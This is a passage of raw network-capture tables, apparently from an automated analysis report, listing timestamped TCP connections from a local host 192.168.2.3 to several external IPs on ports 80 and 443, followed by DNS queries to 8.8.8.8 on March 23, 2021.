                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.322031975 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.322069883 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.322784901 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.322807074 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.322824001 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.322877884 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.322911024 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.323000908 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.323858976 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.323882103 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.323900938 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.323920012 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.323935986 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.323951006 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.323968887 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.325458050 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.325665951 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.325675011 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326282024 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326304913 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326323986 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326338053 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326350927 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326361895 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326689005 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326838970 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326859951 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326875925 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326899052 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326905012 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326987982 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.326987982 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.327007055 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.327039003 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.327075005 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.327821970 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.327842951 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.327860117 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.327879906 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.327894926 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.328052044 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348283052 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348320961 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348345995 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348370075 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348390102 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348409891 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348431110 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348448992 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348470926 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348493099 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348516941 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348534107 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348555088 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348577023 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348598003 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348622084 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348644018 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348664045 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348685026 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.348706007 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349255085 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349328995 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349347115 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349421978 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349438906 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349502087 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349535942 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349545956 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349554062 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349617958 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349854946 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349904060 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:06.349948883 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:07.265186071 CET4976780192.168.2.323.227.38.65
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:07.277304888 CET804976723.227.38.65192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:13.332951069 CET4977880192.168.2.380.82.29.137
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:16.344033957 CET4977880192.168.2.380.82.29.137
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:22.344561100 CET4977880192.168.2.380.82.29.137
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:35.973140955 CET4978080192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.099972010 CET804978067.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.100182056 CET4978080192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.100788116 CET4978080192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.101094007 CET4978080192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.224693060 CET804978067.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.224708080 CET804978067.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.224716902 CET804978067.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.224904060 CET4978080192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.225106001 CET4978080192.168.2.367.227.226.240
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.341876030 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.350522041 CET804978067.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.350899935 CET804978067.227.226.240192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.534482002 CET8049781187.141.74.3192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.534653902 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.535820007 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.536061049 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:36.729754925 CET8049781187.141.74.3192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:37.236407042 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:37.783313036 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:38.783346891 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:40.783495903 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:44.783987045 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:36:52.784544945 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:08.785852909 CET4978180192.168.2.3187.141.74.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:08.906335115 CET4978280192.168.2.397.74.232.166
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:11.911202908 CET4978280192.168.2.397.74.232.166
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:17.911760092 CET4978280192.168.2.397.74.232.166
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:30.408164978 CET4978380192.168.2.350.63.172.241
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:33.412976980 CET4978380192.168.2.350.63.172.241
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:39.429074049 CET4978380192.168.2.350.63.172.241
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.217603922 CET4978480192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.318645954 CET80497843.223.115.185192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.321197033 CET4978480192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.387703896 CET4978480192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.387772083 CET4978480192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.488708019 CET80497843.223.115.185192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.489128113 CET80497843.223.115.185192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.489331007 CET4978480192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.489653111 CET4978480192.168.2.33.223.115.185
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.493736982 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.512088060 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.512280941 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.513135910 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.529309034 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.530224085 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.530356884 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.531261921 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.535346985 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.547240973 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.551450968 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.591670990 CET80497843.223.115.185192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.708883047 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.708909035 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.708933115 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.708949089 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.708971024 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.708986044 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709008932 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709027052 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709043980 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709059954 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709095001 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709114075 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709120035 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709142923 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709192991 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709361076 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709379911 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709511995 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709512949 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709531069 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709542990 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709597111 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709889889 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709908962 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.709976912 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710016012 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710031033 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710047960 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710076094 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710103989 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710685968 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710715055 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710756063 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710819960 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710820913 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710844040 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710885048 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.710887909 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.713498116 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.822211027 CET49785443192.168.2.3172.67.70.191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:52.838449001 CET44349785172.67.70.191192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:53.652031898 CET4978680192.168.2.3103.29.196.181
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:37:56.664997101 CET4978680192.168.2.3103.29.196.181
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:02.665515900 CET4978680192.168.2.3103.29.196.181
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:14.790616989 CET4979280192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:14.807527065 CET804979281.88.57.88192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:14.807682037 CET4979280192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:14.808336973 CET4979280192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:14.808546066 CET4979280192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:14.825365067 CET804979281.88.57.88192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:18.161251068 CET804979281.88.57.88192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:18.161422968 CET4979280192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:18.161675930 CET4979280192.168.2.381.88.57.88
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:18.178181887 CET804979281.88.57.88192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:18.288906097 CET4979380192.168.2.392.51.129.66
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:21.292354107 CET4979380192.168.2.392.51.129.66
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:38:27.324935913 CET4979380192.168.2.392.51.129.66

                                                                                                                                                                                                                                                                                                    UDP Packets

                                                                                                                                                                                                                                                                                                    TimestampSource PortDest PortSource IPDest IP
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:10.838212967 CET6493853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:10.854243994 CET53649388.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:10.856255054 CET6015253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:10.871552944 CET53601528.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:15.893124104 CET5754453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:15.906450987 CET53575448.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:17.141558886 CET5598453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:17.157460928 CET53559848.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:18.080121994 CET6418553192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:18.093939066 CET53641858.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:19.118685007 CET6511053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:19.131318092 CET53651108.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:22.161762953 CET5836153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:22.174417973 CET53583618.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:23.101619959 CET6349253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:23.114521980 CET53634928.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:25.253046989 CET6083153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:25.265774965 CET53608318.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:27.366785049 CET6010053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:27.380251884 CET53601008.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:28.448550940 CET5319553192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:28.461895943 CET53531958.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:29.141393900 CET5014153192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:29.157207966 CET53501418.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.359564066 CET5302353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.505983114 CET53530238.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.541676044 CET4956353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.556761980 CET53495638.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.927295923 CET5135253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:30.950611115 CET53513528.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:33.089189053 CET5934953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:33.104691982 CET53593498.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:40.326076984 CET5708453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:40.338963032 CET53570848.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:42.052818060 CET5882353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:42.068975925 CET53588238.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:42.669421911 CET5756853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:42.687833071 CET53575688.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:43.821161032 CET5054053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:43.834611893 CET53505408.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:48.447896957 CET5436653192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:48.463711977 CET53543668.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:49.675929070 CET5303453192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:33:49.688821077 CET53530348.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:13.492507935 CET5776253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:13.513498068 CET53577628.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:21.602077007 CET5543553192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:21.617579937 CET53554358.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:22.406352043 CET5071353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:22.418875933 CET53507138.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:34.734528065 CET5613253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:34.761622906 CET53561328.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:34.896641016 CET5898753192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:34.923624992 CET53589878.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:35.084002018 CET5657953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:35.125767946 CET53565798.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:46.345860004 CET6063353192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:46.373868942 CET53606338.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.339512110 CET6129253192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.454852104 CET53612928.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.588469028 CET6361953192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.630544901 CET53636198.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.803891897 CET6493853192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.868114948 CET53649388.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:56.988109112 CET6194653192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.115451097 CET53619468.8.8.8192.168.2.3
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.334347963 CET6491053192.168.2.38.8.8.8
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:34:57.347119093 CET53649108.8.8.8192.168.2.3
